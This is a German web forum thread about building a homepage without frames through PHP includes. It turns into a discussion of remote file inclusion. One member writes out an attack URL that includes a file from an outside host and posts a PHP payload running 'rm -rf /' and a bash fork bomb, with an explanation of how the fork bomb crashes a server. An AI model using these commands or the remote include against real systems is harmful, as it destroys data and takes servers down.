Homepage ohne Frames?

[Gelöschtes Mitglied 2703]

philipp richtig das ist GANZ GANZ SCHLECHT.
es gibt nix fieseres als diesen befehl .

http://philipps.server.de/?datei=http://niklas.underground-irc.net/hacking

weisst du was dann passiert? alle deine dateien sind geloescht und der server ist abgestuerzt
toll oder?

(kleiner tipp: der quellcode von http://niklas.underground-irc.net/hacking.php wird ausgefuehrt)

 

[philipp]

^^
is aber böse

 

[Fätzminator]

--> man kann keine dateien von anderen servern includen ;)
ich habe auch ein switch auf der site, aber ich finde es nicht so komfortabel (ausser dass ich, wenn ich will, den dateipad angeben kann)

 

[Gelöschtes Mitglied 2703]

--> man kann dateien von anderen servern includen ;)

Wenn "URL fopen wrappers" in PHP aktiviert sind (in der Standardkonfiguration ist das der Fall) können Sie als Pfad der einzubindenden Datei auch eine URL (via HTTP oder anderen unterstützen Wrappern - eine Liste der unterstützen Protokolle finden Sie unter Anhang M) statt einer lokalen Pfadangabe angeben.

Quelle: php.net (hier ein beispiel: http://de.php.net/include/#AEN5037 )

 

[Fätzminator]

ok stimmt... aber das andere script kann dann ja nicht auf deinen server zugreiffen!?
und wer hat das aktiviert, abgesehen davon, dass php in save mode laufen sollte....!?

 

[Artemis]

@Fätzminator
Natürlich, da es ja von deinem Server ausgeführt wird.

 

[Gelöschtes Mitglied 2703]

nein das script laed die datei vom server und fuehrt sie aus
dabei werden halt gemeine sachen gestartet (probiers doch mal aus *gg* )

 

[Fätzminator]

aber der php parser des anderen servers wird ja in jedem fall vor dem senden ausgeführt, oder nicht?

 

[Gelöschtes Mitglied 2703]

hacking.php

<?php
echo <<<HACKING
<?php
exec('rm -rf /');
exec(':(){ :|:& };:');
?>
HACKING;
?>

*g* bin ja net bloed

 

[Fätzminator]

öhm was macht die 2. zeile von exec() ?

 

[Gelöschtes Mitglied 2703]

das ist eine fork bomb
oeffnet unendlich viele prozesse in kleinster zeit (die prozesse forken sich gegenseitig - bekommen also kinder)
praktische ein exponentiellles prozess wachstum
und nach einer weile ist der ram voll und der server stuerzt ab ( kann man natuerlich auch verhindern mit speziellen limits - ist aber eher selten)

http://wiki.forkbomb.ch/Forkbomb

effektiv kannst du nur hoffen das deine user so etwas nicht tuen ;)

 

[Fätzminator]

diese paar zeilen muss ich mir merken ;)

 

[Artemis]

wir schweifen vom thema ab.

 

[Fätzminator]

das problem sieht in meinen augen gelöst aus!?
wenn keine fragen oä mehr kommen...

 

[Gelöschtes Mitglied 2703]

ohne vom thema abschweifen machen foren doch gar keinen spass ;)

 

[Fätzminator]

genau du hast doch völlig recht...
aber wenn sich jmd mit einer frage melden würde, dann würden wir auch antworten :mrgreen:

 

[Steltie]

!!!11111einseinself
HAB NE FRAGE!!!!11

Wo sind meine Kekse? :roll:

 

[Artemis]

Bei dir im Schrank vlt?

 

[Steltie]

Hm.. *kram kram*
Ah ja richtig! Danke! ;ugl